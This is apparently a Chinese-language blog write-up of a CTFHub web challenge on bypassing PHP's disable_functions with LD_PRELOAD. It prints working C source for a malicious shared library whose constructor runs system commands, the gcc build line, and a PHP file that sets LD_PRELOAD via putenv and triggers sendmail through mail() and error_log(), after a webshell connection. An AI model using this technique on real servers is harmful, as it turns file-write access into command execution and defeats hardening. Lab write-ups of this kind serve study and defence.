Bypass disable_function —— LD_PRELOAD

Bypass disable_function —— LD_PRELOAD

CTFHub-web技能樹中的一道題
做這道題之前,先要稍微瞭解下:
LD_PRELOAD:
是Linux系統的一個環境變量,它指定的*.so文件會在程序本身的*.so文件之前被加載。
putenv():
PHP函數,可以設置環境變量
mail(),error_log()
PHP函數,在運行時會執行系統中的程序:sendmail

題目描述
已經拿到了shell,但是PHP配置中的disable_functions禁用了大部分常規的的可以執行系統命令的函數,所以即使拿到了shell,也只能執行對文件的讀寫刪除操作,沒法執行系統命令。這題讓通過LD_PRELOAD來進行繞過。

/?ant=phpinfo();
發現這題並沒有ban掉putenv()函數,mail()函數,和error_log()函數;
所以可以通過這幾點來進行繞過。

題目思路
構造一個帶命令執行的eval.os文件,讓其被LD_PRELOAD加載;然後在PHP中調用mail函數或error_log函數,函數內部會執行系統的sendmail命令;這樣我們構造的eval.os就會加載並覆蓋sendmail本應調用的庫函數,達到命令執行的效果。

實施思路
首蟻劍連接,方便上傳文件等操作。
首先寫eval.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void hausa_zui_shuai(void)
{
    unsetenv("LD_PRELOAD");
    system("echo any_other_eval_code");
    system("/readflag > /tmp/hausa.txt");
}

小解釋:__attribute__ ((__constructor__))這個參數,可以讀一下參考博文,它使得被自己修飾的函數在main函數前執行。
然後gcc -shared -fPIC hack.c -o eval.so將這個源文件編譯成動態鏈接庫文件,並將其上傳到服務器的/tmp目錄下。

然後是shell.php文件:

<?Php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>

將此文件上傳至?/var/www/html目錄下,通過地址欄訪問http://host:port/shell.php

接下來,在訪問過程中,putenv()函數將我們寫好的惡意動態鏈接庫文件賦值給LD_PRELOAD環境變量,然後在調用mail()和error_log的時候,Linux會執行系統程序sendmail,但是在執行sendmail的main函數之前,會先執行我們設計好的用了__attribute__ ((__constructor__))參數修飾的惡意函數,從而導致了命令的執行。
最後在/tmp目錄下,刷新蟻劍,即可看到hausa.txt文件
其中即爲flag

尚存的問題
爲什麼eval.so必須上傳到/tmp目錄下?放在/var/www/html目錄下爲什麼不能被執行?是權限問題嗎?
如果有了解的師傅,請務必在下方評論,菜鳥不勝感激。

參考文章:
CTFHub的官方WP,由於平臺中WP需金幣,所以就不貼鏈接了。
關於__attribute__ ((__constructor__))的描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章